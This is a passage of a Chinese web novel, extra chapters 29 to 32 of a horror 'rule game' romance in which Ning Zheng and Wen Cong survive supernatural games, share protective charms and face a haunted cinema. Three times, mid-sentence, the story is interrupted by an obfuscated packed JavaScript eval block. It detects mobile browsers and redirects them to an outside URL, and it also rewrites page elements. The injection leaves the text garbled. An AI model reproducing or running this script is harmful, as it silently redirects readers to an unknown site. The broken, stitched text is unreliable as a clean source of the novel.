“【游戏】背后不光是一个场景,而是一个世界。” 停了停,宁琤又补充。 “也可能不只是‘一个世界’。” 29.番外四(上) 两人从天黑说到天亮,从四下寂静说到喧喧嚷嚷的声响从楼道中、单元外传来。 属于小区清晨的热闹给了闻淙一种鲜明的感觉。自己的确还活着,不单回到了家中,还得知了哥一直在苦苦隐藏的秘密。 这一刻,他忽然发现自己也不是全然不幸。【游戏】是一场噩梦吗?当然。可比起“让哥独自一人在其中闯荡”,或许自己也参与其中、和哥面临同样的危险,才是更好的结果。 尤其是在宁琤告诉他,原来两人的长辈都有过同样的经历之后。 闻淙本以为自己已经不会再震撼了,可眼前人轻描淡写的一句话,还是让他久久无言。 “所以,”他嗓子是干的,思绪是混沌的,“他们不是车祸,而是——宁叔也不是……而是?” 简简单单的一句话,都被闻淙说得断断续续。中间停下数次,终于被完整表达。 “对。”宁琤说。而再接下来的话,才是他要表达的重点:“小淙,我知道你刚刚经历了这些,一定会害怕、觉得那些——是根本没办法应对的。可其实不是这样,按照我爸在笔记里的说法,他坚持了二十多年。咱们有他们的经验,还有他们留下来的各种东西,一定能坚持更久。” “各种东西?”闻淙疑问。宁琤点点头,说了句“你等一下”,便起身去了宁旭升曾经的卧室。 片刻后,他拿了一个色泽黑沉的木盒出来。打开看,盒子里放着两根红绳。 红绳的系法一般无二,上面串的东西却略有不同。左侧是一枚小小的玉环,右边则是一个更小的平安扣。 闻淙认出来了,这恐怕是一对子母扣。 宁琤先把带着平安扣的红绳系在闻淙手腕上,再把另一根绳子系给自己。 闻淙一动不动地看着他的动作。虽然盒子打开的时候,他嗅到了淡淡的血腥气;绳子接触皮肤的时候,冰凉的感觉让他不由地皱起眉头……但这是哥拿来的、据说是双方长辈留下来的东西。闻淙相信,他们中的任何一个都不会伤害自己。 果然,宁琤很快开始解释:“有时候,咱们可以从【游戏】里找到一些能为咱们提供保护,还能被带出来的东西。” 闻淙想让气氛轻松一点,便玩笑道:“就像是在网游里拾取道具?” 宁琤也笑了,“可以这么理解。不过也和网游里一样,这些东西都是有‘耐久度’的,用得多了就会‘磨损’。再有,低等级的‘道具’无法对高等级的……造成影响。” 很好懂。闻淙点点头,再低头,有些好奇地看腕上的东西。 这会儿两根红绳倒是没了气味,前面那种冰冷的感觉也不见了。 宁琤见状,继续解释:“这个的话,主要作用是在你进入【游戏】的时候,顺便把我也带进去。”沉默片刻,“我之前一直希望用不到的,没想到,还是到了这一天。” 更没想到,小淙被拖进去的年纪比他还要小。 光是意识到这点,宁琤就觉得胃里沉甸甸的,像是吞了铁。 他不想让闻淙发觉自己状态不对,便又拿出父亲的笔记本,说起自己的一些发现。 “根据我的经验吧,越往后,咱们要参与的【游戏】就会越难。而如果把难度分等级,你在比较初级阶段的时候,就只能看懂初级阶段的笔记内容。 “比如吧,我爸其实写了挺多道具具体被他藏在哪里的,但到现在我也只找到了几个。咱们系的红绳是其中之一,还有一根能警示的蜡烛,一个能拍到【它们】的痕迹的相机,一个能给之前的自己拨电话的手机……嗯,就这些。对了,蜡烛已经用完了,相机最好别用,爸在笔记本里说了,这东西很容易把【游戏】的界限打破,让人看到本来不应该在当时场次出现的东西。” 闻淙越听越是紧张,身体前倾了些,“不该出现?什么意思?” 宁琤手指交叉,手肘落在膝盖上,“就拿你之前去的那家旅馆来举例子吧。小淙,你是不是觉得那个地方简直太危险了,稍微不注意就会出事?”看闻淙点头,“那我如果说,旅馆其实也在保护你呢?” 闻淙愣住。 宁琤说:“我一开始在爸的笔记本里看到这个说法的时候,也觉得很难以置信。但后来自己经历了,才发现可能的确是这样。对于我们来说,那个世界的所有东西都很危险没错。可对于那个世界的……原住民吧,对他们来讲,每一样事物都是独立的。 “你们不能出旅馆没错,但只要确定了旅馆内部的【规则】,就不会出事了——对,你肯定也发现了,有一部分【规则】是错的,但这是站在你的角度。或许站在其他存在的角度,那些【规则】就是对的。 “还有一种可能,是【规则】被【它们】有意篡改,不过这是另外的话题了。先说回来吧,用了相机,你可能会拍到旅馆外面、马路上的东西。当然,也可能不是马路,是其他地方。在这种情况下,你如果触犯了里头东西的【规则】,对方或许就可以忽略掉【幸福旅馆】的阻拦,对你下手。” 闻淙小小地哆嗦了一下。宁琤看在眼里,适时地停下了话音。 他最后道:“好啦,一天给你说这么多,你肯定也觉得晕晕乎乎。先睡吧,休息好,咱们再说下一步的事。” 闻淙还是显得恍惚。可哥的话没错,倦意的确涌了上来,压得他连眼皮都觉得沉重。 可要说和宁琤分开,他又舍不得。 闻淙不说话,也没什么动作,只是眼巴巴地看宁琤。 宁琤等了片刻,脸上露出一点困惑,跟着又是哑然。 “不是吧?”他说,“你都多大了?” 闻淙还是眼巴巴地看他。 小声说:“可是哥,我怕。” 宁琤:“……” 宁琤还能怎么办?只能呼噜呼噜弟弟的脑袋,陪他一起睡觉。 两人长大以后,已经很少会有这样的时候。可今天的确是不同的,闻淙不愿意一个人,宁琤也实在是疲惫。 两人挨在一起,被窝很快变得暖和热乎。渐渐的,两人的呼吸声交融在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909135|155253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起,心跳声也交融在一起。 这是闻淙成为【玩家】的第一天。 按照经验,他会在大约半个月之后进入第二场【游戏】。这半个月里,宁琤在思想和体能上对他进行了特训。 等到时间差不多了,正上课的时候,闻淙感受到了强烈的心悸。 他立刻缩到桌子底下给宁琤打电话,问对方:“哥,我这是要进去了吗?” 宁琤似乎正在开会,闻言往外走了几步,又压低了嗓音,“对。有预感之后再过24小时就会正式进入,我没和你说吗?” 闻淙:“没有。” 宁琤:“……现在说了。行,那我明天请假去你学校。” 闻淙挂了电话,听着自己“怦怦”作响的心跳声,一点点紧张起来。 话说回来,这趟【游戏】经历依旧顺利。有了宁琤的加入,连伤亡都减少很多,只有一名新人因不信任宁琤的判断,在最初的时候殒命。 压在心头的石头仿佛霎时间被卸了下去。再出来时,宁琤问闻淙想吃什么,闻淙甚至选择了吃火锅。 宁琤意外。他们刚刚从另一个世界中的大排档出来,他自己都有些忘不掉厨房中大锅里有一堆同类碎片的场景,小淙竟然已经适应了? “唔。”闻淙捂住嘴,脸色有点发白,“我瞎说的,换一个……咱们找家店去吃汉堡可乐吧。” 宁琤点点头,这才正常嘛。 生活便这么继续下去。之后便是大学生的期末周,闻淙顺利地结束考试,搬回家中。 危机依然笼罩在头顶,但就像哥说的,不能让【游戏】毁了自己的生活。 于是,在除夕那天晚上,闻淙准备了第二次正式的告白。 这回没了前一次的意外状况,宁琤看到了他做的晚餐,还有那束被拿到面前的鲜花。 他揉揉眉心,“咱们不是说好了吗?起码等到你毕业。” 闻淙眨巴眼:“哎?我以为那是你不想让我被【游戏】牵连,所以随便找个借口敷衍的。” 宁琤眼皮跳跳,心想这小子什么时候长出脑子来了。随后严肃地摇摇头,说:“这是一部分原因,另一部分是那天说的,觉得你年纪还是有点小了。” 闻淙低下脑袋,灰心丧气。 宁琤看在眼里,有些不忍心。 他斟酌着语气,尽量随意地说:“不过,你选的花还挺好看……重!你太重了!快下来!” 闻·树袋熊·淙只好遗憾地从哥身上下来,转而去厨房拿筷子。 “我还准备了饺子馅儿。”他说,“待会儿咱们一边看春晚,一边包饺子,嘿嘿!” 想起来的时候,闻淙也会问,“那哥,你的【游戏】呢?” “不是说了吗,”宁琤道,“进来的时间越长,每场之间的间隔也就越长。” 很有道理,闻淙独自刷论坛的时候看到的情况也是这样。 他点了点头,不再多说,只在宁琤又要加班、无法回家时再嘟囔两句“黑心老板”。 30.番外四(中) 后来再想的时候,闻淙会觉得,其实宁琤根本没有在用心隐瞒。 只要自己在【游戏】中多和其他人接触一下。不,只要自己在刷论坛的时候多留意一下,就会意识到,比起用上从另一个世界带出来的物品外,还有另一个更简单的、能让人们确保可以与其他【玩家】一同进入恐怖世界的方式。 “对啊。虽然那阵雾能隔绝掉普通人,但【玩家】是不会被隔绝的。只要在有预感后的那天掐好时间,在和预感的相同时段跟对方待在一起,就能两个人都进去了。” 这是闻淙在一个讨论要怎么找到愿意接受“雇佣”、在【游戏】里保护自己的【高玩】的帖子下看到的回复。 他先是怔然,随即陷入深深的不解。 ——只是这样就可以了? 也是,仔细想想,哥的确每次都会在自己进入前来到自己身边。 可这明明和哥说的不一样。 不不,哥有时候是会有遗漏的地方。他毕竟只是一个人,而不是无所不能的神。 闻淙一面想,一面不断地抚摸着腕上的红绳。 触碰的时间长了,会觉得指尖有些潮湿。可再低头看时,又会发现这只是自己的错觉。 慢慢的,闻淙的目光停留在红绳当中系的平安扣上。 他忽地意识到什么,开始在论坛搜索相关名词。 绳子,手链,玉饰……子母扣? 闻淙没找到和自己手腕上一样的东西,但玉环和平安扣的搭配本也不算罕见。他见到有人正在出售一对大了很多、可以当挂坠用的子母扣,无论是玉环还是平安扣这会儿都已经看不出原本的碧绿色泽,丝丝缕缕的鲜红血丝将二者完全覆盖。 开贴的卖家也很坦诚:“这对子母扣已经帮我抵挡了两次【它们】的攻击,再有一次就肯定碎了。使用风险也有,谁知道里头的东西能不能出来?我是不敢再用的,便宜出手,有意私聊。” 闻淙私聊了对方。付过定金之后,他得到了那对子母扣的具体用法。 需要在进入【游戏】之后、还算安全的时间里将玉环,也就是母扣放在自己认为不是人类的存在身上。后续一旦自己受到攻击,拿着“母扣”的存在就会第一时间出现、保护自己。 “原理嘛,估计是把你当成同一个阵营的了。要是你运气足够好,让哪一局的【核心诡异】拿到了母扣,那就无敌了!” 闻淙太阳穴正在一突一突地难受。看到这话了,还是没忍住冷笑了声。 怎么可能真有这种好事儿?对方要么隐瞒了关键点,要么就是这玩意儿的【规则】里隐藏着巨大危险。 他回复:“本来只是想以备不时之需的,但你说它效果这么好,我反倒有点担心后头的反噬了。 “还是再考虑一下。定金也不用退了,当我买消息的钱。” 这句话后,闻淙没再理会对方,直接关了论坛。 老师还在讲课,他则坐在靠窗的位置上发呆。 同样是子母扣,哥把母扣留在了他自己身上,让自己拿着子扣。 如果他真的骗了自己,那原因仿佛也呼之欲出。 在宁琤眼里,自己始终是他的弟弟。 需要被保护,需要被照顾,需要被他挡在身后。 可是——闻淙又想——我已经长大了。 他想了很多,想了很久。 最终摘下了手腕上的红绳。 就算没有哥,我一个人也能活。 …… …… 再有,如果其实并不需要这种特殊道具,就能确保两个人一同进入…… 哥近来还是时常有疲惫的时候。 闻淙已经不敢想背后的原因了。 …… …… 在刚刚进入【游戏】的几年,【玩家】参与的时间是很规律的。 闻淙前面几次感受到心悸的时间,也一直和宁琤推断的差不多。 两者相加,在又一个日历上被圈出来的日子来到,小淙在电话里却始终只是嘻嘻哈哈的时候,宁琤已经察觉到了不对。 他又确认了一遍:“还没有预感吗?算下来应该就是今天。” “没啊。”闻淙似乎是抓了抓头发,“那玩意儿是不是知道我马上又要考试了,想把这段时间空过去?这么体贴,还真不习惯。” 听起来也是在犯嘀咕。宁琤依然不放心,一时却没往对方在骗自己上考虑。只是再三叮嘱,真有什么状况,一定要及时告诉自己。 “哥你真是越来越啰嗦。”闻淙光明正大地蛐蛐人,“我舍友家里人从来不这么管他,但他们对象会这么管……咦,怎么没声了?是不是挂了?” 把手机拿远一看,还是通话状态。 闻淙歪了歪脑袋,重新拿进手机,还是用轻快的语气讲:“行了哥,你就放心吧,我肯定第一时间内跟你讲——马上上课了,再见。” 宁琤便也说了“再见”。 或许小淙的确已经到了入场时间开始不规律的时候。这不奇怪,难度越高的场次,能参加的人就越少。【游戏】要把他们凑在一起,就只能等最晚加入的一个人前一场的“冷却时间”过去。 这也是论坛上众人总结出的经验。宁琤相信了,虽然随着时间推移,闻淙始终不觉得心悸,这多少让他有点不安,可安全的日子长久些毕竟是好事。 直到三个月过去,宁琤从一个自己带过两次的“熟客”那儿听到消息,说这段时间又出现一个来者不拒地接带人的青年。要价也低,近乎只有宁琤的三分之一。 “就是只接八场以下的。”熟客又道,“好像也是刚进来没多久,经验还是不太够。我想了半天,觉得还是稳当一点,来找你吧。” 宁琤沉默。 过了片刻,他问熟客:“再和我说说那个人。你还知道什么他的消息?” 熟客一愣,“宁、宁哥,我觉得你们俩的客户群好像不太重合,是不是没必要……” 宁琤说:“我怀疑是认识的人。” 讲到这儿,熟客也看出他神色不对了,便道:“行吧,我帮你打听一下。” 宁琤“嗯”了声,眉尖深深地压了下去。 以小淙现在的场次,一直进不去【游戏】,的确还是太奇怪了。 在此之前,他也想过很多种可能性,可更多都是和另一个世界有关。熟客的话却点醒了他,让他意识到,问题可能出现在小淙自己身上。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913917|155253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 可如果真是这样,那小淙到底是想干什么? 宁琤喉结滚动了一下,低下头,去看自己手腕上的红绳。 他忽地觉得这根看似平平无奇的绳子变得滚烫。 往后不久,熟客给宁琤回了消息。 听着那一句句描述,宁琤脸上没什么多余表情,心却像是被一把刀轻轻地、一片一片地切着。 为什么…… 小淙为什么要那么做?瞒着自己,一个人进到那么危险恐怖的地方。完成必须进入的场次还不够,又跑出去带其他人。 他觉得自己有很多条命好活吗?他怎么就这么任性! 痛苦的同时,怒意也在一点点上涨。 从始至终,宁琤都只希望弟弟能够平平安安。可他做了那么多,闻淙却给他相反的结果。 他近乎想要去质问闻淙了。可这时候,熟客又说:“我现在才知道,那哥们儿最多的时候一礼拜接了三个单,这不是和宁哥你当初一样吗?嘶,现在的新人恐怖如斯!” 宁琤眼皮颤动了一下,怒意如流水一样倾泻而出,露出胸膛中的鲜血淋漓。 “我知道了。”他说,“你再帮我问问吧,最近有谁在约那个人。” 熟客有点不放心地看他:“咳咳,宁哥,你先说说,找他是要干什么。” 宁琤说:“那是我弟弟,最近……可能和我闹脾气呢。 “要是找到哪个雇主的话,给那人说,我也可以一起进去带他,不过他要保密,不能让我弟弟知道。” 熟客想了半天,还是没想明白宁琤具体打算怎么操作。 但他们圈子里的人也都知道,宁哥手里的道具数量多不可测。 “行吧。”他笑呵呵地点头了,“人肯定愿意。等说好了,我再联系你哈。” 宁琤点点头,露出一个没什么笑意的笑容。 和熟客想的一样,他的确有能够短时间内改变人容貌的道具。 也是爸爸留下来的。除了道具【人皮面具】之外,笔记本上还记录了一份使用它的【规则】。 宁琤仔细考虑过,要怎么伪装自己。 他的第一个想法是变成女性,可念头出现没多久就被排除了。【游戏】世界中,除了现有的一起行动的小团队外,很多时候男性和女性是会分开的。真这样子,哪怕隐藏效果好一点,也和宁琤的目的背道而驰。 还是当男的吧。不过,年纪、职业,这些都有讲究。 自己这次去,比起“保护小淙”,更多其实是想要看看没有自己的时候,小淙是怎么行事的。 宁琤也在反思,自己从前的表现是不是太过傲慢,让闻淙少了成长的空间。 既然这样,还是一个行动力差的形象更好。 也不能和自己本来的情况相差太多。又不是专业演员,扪心自问,他肯定演不好老头子。 捉摸了半天,宁琤敲定了自己的人设。 每天除了上班就是宅在家里的程序员,跑上几百米就喘。 无度数眼镜准备好,格子衫也穿妥当。 在自家镜子前,宁琤仔仔细细地将【人皮面具】覆在脸上。接着,只要用手指轻轻触碰,他的面容便开始发生变化…… 31.番外四(下) 改变了面貌后,宁琤又和闻淙的雇主签了一份契约。 还是用上了道具,具体不多赘述。 总之,等到【游戏】开场当天,他顺利地察觉到了迷雾到来。 雾气散去的时候,宁琤先嗅到了爆米花的香气。接着,是吵吵闹闹的人声。 往四周一看,原来自己正在一家电影院里。手中拿着买好的票,仔细一看,他正打算看的片子叫做《死亡电影院》。 宁琤:“……”多少有点晦气了。 在场同样拿着电影票、显然也是【玩家】的其他人:“……”+1 很快,众人的任务也出现了,正是让他们在影院待到《死亡电影院》片子结束。 宁琤默默把影票收好。距离开场还有一个小时,这显然是给他们的寻找线索时间。接下来发生的事也果然是按照套路走的,众人先聚集在一起,简单地做了自我介绍,用三言两语彼此鼓励,最后划定了每个小队伍探索的区域。 一共八名玩家,正好分成了四人一组。为了不让闻淙起疑心,宁琤始终不曾多看弟弟和他的雇主所在的位置。倒是那位雇主,竟是朝他在的方向接连看了好几眼。 这果然引起了闻淙的注意。两人低声说了些什么,宁琤没有去听。他保持着胆怯的模样,和同组人商量起两人分到的任务。 “寻找电影院里的安全通道”。听起来简单,真做起来却很有风险。他们眼下连一份【规则】都没发现呢,万一找着找着犯了忌讳,怕是死都不知道怎么死的。 “所以我的意思是,”宁城轻声细语地说,“咱们先别急着行动,起码把眼下这篇活动区域的【规则】弄清楚。” 搭档看他,眼神里写满“怎么分给我这么一个怂货”。 宁琤对此不以为意。他来这儿的第一个目的是保住小淙的命,第二个目的是保住自己的命。如果能多捞几个人回去也不错,但其他人的视线嘛,那还真不在他的考虑范围之内。 长话短说。总归进场的搜索这一段,众人的确有收获。 最重要的是他们确定了,影院内恐怕存在一间【不应该存在的影厅】,整个大厅区域的【规则】近乎都是围绕着让观众避开它来的。 可惜的是,众人知道自己肯定是避不开的。 宁琤留意到,闻淙这会儿皱了皱眉头。 “没关系。”他和雇主分析,“所有人都触犯了,也就相当于所有人都没触犯。待会儿咱们走慢点,不要第一个进去,但也别落在后面。” 别说,板着脸的样子,还真比在自己面前成熟了不少。 宁琤有些想笑。只是在意识到自己在什么地方后,他还是压下唇角。 接下来的事就简单了。众人接受了一个临时换班的检票员的检票,被带去了影院消防逃生图上不存在的7号厅。 好消息是这里竟然不光有他们在,坏消息是按照套路,这些眼下还在吃爆米花、拿着影票拍照打卡的观众十有八九不是活人。 众人在一起抱团和分散开来当中犹豫片刻,还是选择前者。 要是其他时候也就算了。待会儿电影放映起来,灯一关,别说后面几排了,就连身边的人有没有变你都不一定能分清楚。聚在一起还能有些生机,分开那不是纯粹送菜吗? 闻淙又开始和雇主分析:“这里虽然‘不存在’,但我想,咱们前面看到的那些要求还是需要遵守的。只要好好做了,至少在前半场,【电影院】还会稍微保护保护咱们。” 雇主看起来十分不安,“保护?这鬼地方——” 闻淙警告地看了他一眼。 雇主立刻闭上嘴巴,当做自己什么的都没说过。 宁琤与他们之间就隔了一个人的位置,这番话也是被他清晰地收入耳中。 他更想笑了。这之后,又有些惆怅。 在一点点暗下去的灯光中,宁琤反思:“小淙在别人面前原来是这个样子。那他见我的时候一直表现得不成熟、像个孩子,是不是也会累?” 如果闻淙知道他的想法,一定要大喊冤枉。 哥怎么闹得仿佛自己是有意装得幼稚一样?那、那不是他在哥面前才能坦然地做自己,所以稍微本相毕露了一点嘛。 可惜两人这会儿无法沟通,又很快被亮起的银幕吸引了注意力。 客观地说,正在播的片子实在没什么欣赏价值。无非是一群人去到电影院,看一场剧情粗陋、场景破败的血浆杀人狂片。和宁琤他们不同的是,影片里的角色们去的影院更加冷清,从头到尾也都只有几名主角进了放映厅。 看着看着,有人起身去洗手间。这一去,就再也没有回来。 “应该已经死了。”有观众在宁琤耳边说,“好套路,没想到是这种烂片。” 宁琤没有任何反应。 《星梦电影院观众观影指南》第六条:影片放映当中,请勿出声与周围人交谈,维护安静的观影环境从你我做起。 如果旁边那位是个人,那他快死了; 如果对方本就不是人,那更没法活。 当然了,鉴于这条【规则】内容十分细致,明确指出“出声”和“交谈”两个元素,大伙儿真想交流了,还是可以传传纸条、用手比划比划的。 宁琤眼下就能听到些窸窸窣窣的声音。余光往旁边一瞄,果然是闻淙的雇主正在比划着什么。 过了片刻,他和闻淙一起起身,往外间走去。 宁琤看在眼里,眉尖又一次下压。 一方面是因为闻淙这不同寻常的举动,另一方面,则是他留意到:电影中,第一个出门上厕所的人似乎也是在小淙雇主的位置。 不是同一排,但座位号应该是一样的。 如果顺着这个思路往下想,再之后,似乎就是…… 自己了。 看着影片中烦躁地甩着头发,念叨“怎么回事,一直有水滴下来”的角色,再看看角色背后杀人狂手中正在滴血的电锯,宁琤只觉得倒霉极了。 他还是不得不展露出一点经验。 好在【游戏】里装怂装弱的人总是很多,宁琤的人设变化没有引起什么波澜。 很快,更让众人焦灼的状况出现了。 在宁琤把工作人员找来,让【它】和电影里出来的杀人狂对上之后不久,电影幕布在双方的打斗中毁掉。 影片是放映不了了。【巡视员】手中拖着杀人狂的身体,把自己滴口水的舌头甩到背后,含含糊糊地和众人说,自己马上就去给经理反应。 显然,这位口中的上级肯定也不是活人。但众人别无他法,只能恭恭敬敬地送其离开。 怪物走了,电影也暂停放映,众人试探过几轮,到底开始讲话。 说着说着,宁琤成了被众人炮轰的对象。他自己倒是不在意,只是觉得要是这么被孤立了,事情会有些麻烦。 没想到,关键时刻,闻淙忽然插了句话:“我们要去后面的放映间找找办法。你呢,要不要和我们一起?” 宁琤听着这话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14919311|155253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第一反应是刚才那位雇主和闻小淙同学告了密。可等他朝雇主看过去,后者却在拼命摇头,示意自己什么都没说。 他倏忽领悟了什么。等到跟着闻淙离开,路上,宁琤笑道:“怎么,你也觉得放映厅里那群人太蠢?” 闻淙沉默了一下,才说:“一方面吧。” 宁琤挑眉,雇主接话:“我们刚才找到一张宣传海报,里面介绍了剧情,说还有一个杀人狂藏在观众们里面……你和我们都是已经从‘死亡节点’活下来的人,是那个杀人狂的可能性最低。” 原来是这样。 宁琤还是笑,说:“行吧,接下来怎么办?” 还能怎么办。 当然是在放映室里对着小设备把电影倍速看一遍。 过程中又是险象环出。等到电影好不容易放映结束,屋门都已经只剩一个框了。 抱着任务已经完成,接下来大概只需要离开电影院的念头,宁琤、闻淙,再加一个雇主,三人开始朝着前面看好的逃生通道狂奔。跑着跑着却发觉,两个杀人狂,加上电影院的工作“人”员们……正在追杀他们的人太多了,光凭借两条腿,根本不可能完成任务。 需要有人将怪物们引走。想到这里,宁琤便要开口。 他手中有道具,出事的可能性最低。 原先是想这么说的,可在他讲话之前,一道身影凑了上来。自然是闻淙。 他快速地吻了宁琤一下,而后在雇主惊愕的眼神中开口:“我去。我的‘死亡节点’还没到,或许能凭借这点周旋……还有,哥,我也有道具。” 最初那会儿,他的确没有认出宁琤。可两人相处了一路,就算心上人顶着与平常截然不同的面孔,闻淙还是从各种小细节上辨别出对方的身份。 这让闻淙的心情无比复杂。如果是平常,自然要好好倾诉。可眼下,他只希望宁琤活下去。 “走。”他又说,“来不及了,走!” 宁琤深吸一口气,一把拉住雇主的领子,朝前方奔去。 然而跑着跑着,他头脑越来越清晰,逐渐意识怪异之处。 【游戏】给他们的任务指示,从来都是很清晰的。既然最初的说明里没有提到“离开电影院”,眼下他们也没必要朝着这个方向走。 电影结束……结束…… 宁琤忽地明白过来:“电影恐怕还没有结束。” 雇主不解:“什么?可咱们不是已经看完了吗?难道一定要在幕布上放映完?” “不,”宁琤喃喃说,“我想,不是的。” …… …… 从那场【游戏】中离开时,宁琤给闻淙发了一条消息。 他最后一段时间一直和弟弟的雇主待在一起,是以这个时候,宁琤其实不确定闻淙是不是还活着。 尤其是随着时间推移,对方始终没有给他回复。宁琤的心一点点沉到谷底,连痛苦都显得迟钝起来。 也是这个时候,闻淙推开他所在的咖啡店的门跑来,急冲冲地喊:“哥!你没事吧没事吧没事吧?让我看看——唔!” 看着眼前青年健康而鲜活的样子,宁琤只觉得头脑“嗡嗡”作响。 闻淙没有反应过来,他也没有反应过来。可在意识恢复的时候,他已经拉着青年的领子,深深吻住对方。 “笨蛋。”换气的间隙,闻淙听到一句低低的、沙哑的嗓音,“连亲人都不会,这才是……嗯!” 他不等心上人说完,便又亲了回去。 32.番外五(一) ██世界,华国。 秦川省,榴花市,武德区。 春泽路上,明月湾小区当中,四号楼之上—— “笃笃笃!” 一大早,闻淙便敲响了男朋友的屋门。 “哥!”门打开了,他开开心心地喊宁琤,“你不是说今天就会有人带我办门禁卡吗?大概什么时候来啊。” 说着话,青年熟门熟路地进到宁琤家屋内,在宁琤无语的目光中东张西望起来。 “昨天都没来得及问呢,”闻淙又道,“屋子合并,是像咱们家之前那样子两间屋子打通吗?那咱们每天晚上就不用专门换一次床单了……唔呜呜哥!” 宁琤一只手揉着眉心,另一只手捂住闻淙的嘴。 闻淙左脚还抬着,右脚定在了原地,两只手也保持着往前伸展的姿势。 “你是什么卡通人物吗?”在回话前,宁琤没忍住,先吐槽了一句。 闻淙朝他眨巴眼睛,轻轻点头,嘴唇也在宁琤掌心摩擦。 细微的痒意浮了出来,宁琤的神色却没什么变化。等到把手收回来,他身上挂着一个重新扑上来的男朋友,一边往厨房走,一边回答:“我也不知道具体的,只是听说过有这种方式,等办完手续就知道了。早饭想吃什么?昨晚的火锅还剩了点菜,煮粥怎么样?——手放下,万一【物业】这会儿来了!” 闻淙鼓着面颊,把“我不开心了”写在脸上,却还是乖乖听从了宁琤的安排。 明明是好事,可宁琤眼皮又开始跳。 很想敲着男朋友脑袋,说你已经二十三岁了,还当自己是三岁小孩吗?这副样子实在是一点都不—— 好吧。 他深吸一口气,意识到,自己恐怕还真吃这套。 七点的惯常放水工作已经结束。在这个两人都不用上班的日子,宁琤放松地把闻淙指挥得团团转。 洗米,加水,将各种配料放进锅子里。这之后,闻淙还煞有介事地拿起菜刀,把前面剩下的几颗眼珠凉拌菜切成细条。 初时他还有些心理障碍,越往后却越是顺手。闻淙暗暗琢磨,这是不是自己已经非人化的原因。 他并未在这个念头上停留多久。很快,青年的心思转到外间的小区景色中。 虽然已经在明月湾住了数日,可细细想来,这竟是他第一次认真打量自己往后生活的地方。 虽然【规则】里写绿化的那一条已经删掉了,可这地方的植被的确茂盛……咦? 闻淙忽地反应过来。一晚过去,本就开始变淡的白雾竟是完全消散了。 “哥!”他再度兴冲冲地转头去看宁琤,说出自己的新发现。 宁琤眼皮抬起一点,淡淡道:“是啊。不知道是【怪谈游戏】做的,还是其他东西。” 这么一讲,闻淙的头脑稍稍冷却,问起:“那哥,其他地方还会有【雾】吗?” 宁琤回答:“很有可能。”那种大型的存在,很难想象会在昨晚平静地环境中消失。在他看来,更有可能是被驱逐了。 说着话,看着男朋友明显暗淡了一下的目光,他也跟着沉默下来 是想要安慰的。可在这种世界里,语言似乎又显得苍白。 这就是他不希望小淙过来的原因,但…… 宁琤靠近闻淙一点,也取了余下的【肉】来切。 这是待会儿要放进粥里的。他动作还算细致,可真正细致之处在于此刻与闻淙贴合的肩膀。 这么被靠近,闻淙眼睛到底弯了弯。 “对了哥,”他说,“咱们好不容易又在一起了!待会儿要不要拍个合影纪念一下?” 宁琤:“不能。你不说我都忘了,去物业的时候顺便让【它们】把你手机改装一下。榴花市有个大型诡异,【规则】是不能出现任何录制的、包括水面反射的影像。” 闻淙听着,看看自己手上的红油,神色里透出一点紧张。 宁琤只好补充:“那玩意儿挺脆的,就是一出来就没完没了,还不好吃。”最重要的是,他看到顶着自己或小淙面孔的冒牌货会犯恶心,“就算你刚不是人也肯定打得过,放心吧。” 闻淙:“哎?好好好!” 两人边说笑边做饭,真正坐在餐桌旁边已是超过八点。 再到早饭结束、在隔音不好的屋子里听到有人敲响了402的房门,九点都过了。 闻淙怀着对传说中的【物业】极大的好奇心,蹭蹭蹭地跑去开门。“你好你好,我是402的住户,这是我在本市的工作证明,”掏出昨天拿回来的合同,“咱们办门禁卡的手续要多久啊!一早上能弄完吗?” 【物业工作人员】在闻淙的话音里放下伸向他的手,专心去看合同。半晌后,似乎确认了什么,哑着嗓音道:“可以。” 闻淙点头。 等人转身下楼了,他凑到跟过来的宁琤旁边,小声说:“哥,这个家伙口臭!” 宁琤:“……扑哧。” 他是真没想到,能从男朋友口中听到这么一句话。以至于走在前面、穿着色泽微妙的肉粉色制服的那位转头过来的时候,宁琤的表情都有点没收住。 好在和闻淙在一起久了,应对类似场面的能力还是有的。宁琤镇定自若地开口,却是说:“既然这样,咱们中午就能一起住401了。下午你是想怎么过?虽然之前讲过最好不要出门,但去农贸市场转一圈应该可以。” 闻淙眼神飘了飘,然后有些害羞地看宁琤,委婉道:“要不然明天再去市场吧?周末有两天呢。下午我给你做夜宵,好不好啊哥。” 宁琤听得手痒。他没说“好”或“不好”,而是直接抬手,拍了拍闻淙的面颊。 “也行。”他说的,“那你做得好吃一点。” 闻淙眼睛发亮,“嗯嗯!那肯定啦——” 宁琤:“走错了,人办公室在那条路。” 闻淙:“哦哦!” 在肉粉色工作服的带领下,两人踏入了一栋闻淙此前都不曾见过的小楼。 